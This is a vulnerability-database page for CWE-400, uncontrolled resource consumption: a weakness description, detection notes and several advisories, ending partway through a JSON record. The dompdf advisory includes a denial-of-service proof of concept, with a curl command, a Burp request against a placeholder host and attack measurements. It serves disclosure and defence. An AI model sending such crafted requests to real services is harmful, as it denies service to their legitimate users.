CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-8HC4-XXM3-5PPP
Vulnerability from github – Published: 2021-03-02 03:44 – Updated: 2023-07-03 22:08The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.4.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.3.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.1.2.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "6.1.0"
},
{
"fixed": "6.1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22880"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-02T03:40:01Z",
"nvd_published_at": "2021-02-11T18:15:00Z",
"severity": "HIGH"
},
"details": "The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the `money` type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.",
"id": "GHSA-8hc4-xxm3-5ppp",
"modified": "2023-07-03T22:08:31Z",
"published": "2021-03-02T03:44:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22880"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1023899"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2021-22880-possible-dos-vulnerability-in-active-record-postgresql-adapter/77129"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord/CVE-2021-22880.yml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/rubyonrails-security/c/ZzUqCh9vyhI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MO5OJ3F4ZL3UXVLJO6ECANRVZBNRS2IH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XQ3NS4IBYE2I3MVMGAHFZBZBIZGHXHT3"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210805-0009"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4929"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Active Record subject to Regular Expression Denial-of-Service (ReDoS)"
}
GHSA-8HFR-PCM2-774V
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-34271"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:30Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-8hfr-pcm2-774v",
"modified": "2026-04-21T21:31:25Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34271"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HG6-C449-896M
Vulnerability from github – Published: 2026-07-22 22:50 – Updated: 2026-07-22 22:50Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
throw new ImageException("Image type unknown", E_WARNING);
}
For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
$meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
$width = (int) $meta["width"];
$height = (int) $meta["height"];
$type = "bmp";
}
At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
return $im;
}
// src/Helpers.php:940 — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);
There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
- Attacker HTML reaches
Dompdf::loadHtml()with<img src="data:image/bmp;base64,…">(or any BMPsrc). Dompdf::render()decorates frames;Frame\Factorymarks<img>as an image;FrameDecorator\ImagecallsImage\Cache::resolve_url().Image\Cache::resolve_url()accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).- During render,
Adapter\CPDF::image()identifies the BMP and calls_convert_to_png()(src/Adapter/CPDF.php:593). _convert_to_png()invokesHelpers::imagecreatefrombmp(), which allocates the full canvas — via the nativeimagecreatefrombmp()on PHP ≥ 7.2, or the hand-rolledimagecreatetruecolor()fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
<html><body><img src="" style="width:1px;height:1px"></body></html>
(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)
1 — Direct conversion
native imagecreatefrombmp exists: yes
dompdf_getimagesize => 6000x6000 type=bmp
imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)
Maximum resident set size: 160 MB (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it
The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 — Full Dompdf::render()
declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB
declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB
3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
curl -s -X POST "https://TARGET/render" \
--data-binary '<html><body><img src="" style="width:1px;height:1px"></body></html>' \
-o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'
Burp Repeater (enable "Update Content-Length"):
POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close
<html><body><img src="" style="width:1px;height:1px"></body></html>
Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):
[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s
[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s
Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59941"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T22:50:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000\u00d76000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,\u2026` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone \u2014 no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n $width = (int) $meta[\"width\"];\n $height = (int) $meta[\"height\"];\n $type = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869 \u2014 native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n return $im;\n}\n// src/Helpers.php:940 \u2014 hand-rolled fallback\n$im = imagecreatetruecolor($meta[\u0027width\u0027], $meta[\u0027height\u0027]);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,\u2026\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas \u2014 via the native `imagecreatefrombmp()` on PHP \u2265 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000\u00d76000`. The CSS `width:1px;height:1px` does not help the defender \u2014 the intrinsic decode happens regardless.)\n \n### 1 \u2014 Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize =\u003e 6000x6000 type=bmp\nimagecreatefrombmp =\u003e GdImage 6000x6000 (allocated from a 58-byte file)\nMaximum resident set size: 160 MB (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD\u0027s native allocator, so `memory_limit` does not bound it.\n \n### 2 \u2014 Full `Dompdf::render()`\n \n```\ndeclared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB\ndeclared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB\n```\n \n### 3 \u2014 HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML \u2014 the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n --data-binary \u0027\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\u0027 \\\n -o /dev/null -w \u0027http=%{http_code} time=%{time_total}s\\n\u0027\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker\u0027s `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000 request=169 B -\u003e 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s\n[CONTROL] declared 10x10 request=169 B -\u003e 200 application/pdf output=1407 B server peak RSS ~34 MB wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width \u00d7 height`, bounded only by the 32-bit header fields and the host\u0027s available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool\u0027s memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD\u0027s native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation \u2014 those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
"id": "GHSA-8hg6-c449-896m",
"modified": "2026-07-22T22:50:34Z",
"published": "2026-07-22T22:50:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions"
}
GHSA-8HGR-9VMC-8GQJ
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2024-04-04 03:14A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions < V3.2.7), SCALANCE X204RNA (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions < V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions < V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.
{
"affected": [],
"aliases": [
"CVE-2022-46352"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SCALANCE X204RNA (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (HSR) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP) (All versions \u003c V3.2.7), SCALANCE X204RNA EEC (PRP/HSR) (All versions \u003c V3.2.7). Specially crafted PROFINET DCP packets could cause a denial of service condition of affected products.",
"id": "GHSA-8hgr-9vmc-8gqj",
"modified": "2024-04-04T03:14:05Z",
"published": "2022-12-13T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46352"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-363821.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HJ8-9M54-WVPW
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.
{
"affected": [],
"aliases": [
"CVE-2017-3857"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-22T19:59:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Layer 2 Tunneling Protocol (L2TP) parsing function of Cisco IOS (12.0 through 12.4 and 15.0 through 15.6) and Cisco IOS XE (3.1 through 3.18) could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to insufficient validation of L2TP packets. An attacker could exploit this vulnerability by sending a crafted L2TP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition. This vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or Cisco IOS XE Software if the L2TP feature is enabled for the device and the device is configured as an L2TP Version 2 (L2TPv2) or L2TP Version 3 (L2TPv3) endpoint. By default, the L2TP feature is not enabled. Cisco Bug IDs: CSCuy82078.",
"id": "GHSA-8hj8-9m54-wvpw",
"modified": "2022-05-13T01:25:06Z",
"published": "2022-05-13T01:25:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3857"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170322-l2tp"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97010"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038100"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HJH-2XHJ-MX62
Vulnerability from github – Published: 2026-06-08 03:47 – Updated: 2026-06-08 03:47A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-11478"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T03:16:19Z",
"severity": "LOW"
},
"details": "A flaw has been found in kokke tiny-regex-c up to f2632c6d9ed25272987471cdb8b70395c2460bdb. This vulnerability affects the function matchstar of the file re.c of the component Pattern Handler. This manipulation causes inefficient regular expression complexity. The attack is restricted to local execution. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-8hjh-2xhj-mx62",
"modified": "2026-06-08T03:47:24Z",
"published": "2026-06-08T03:47:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11478"
},
{
"type": "WEB",
"url": "https://github.com/kokke/tiny-regex-c/issues/100"
},
{
"type": "WEB",
"url": "https://github.com/kokke/tiny-regex-c"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/28046213/tiny-regex-c-redos-poc.zip"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-11478"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/833966"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369098"
},
{
"type": "WEB",
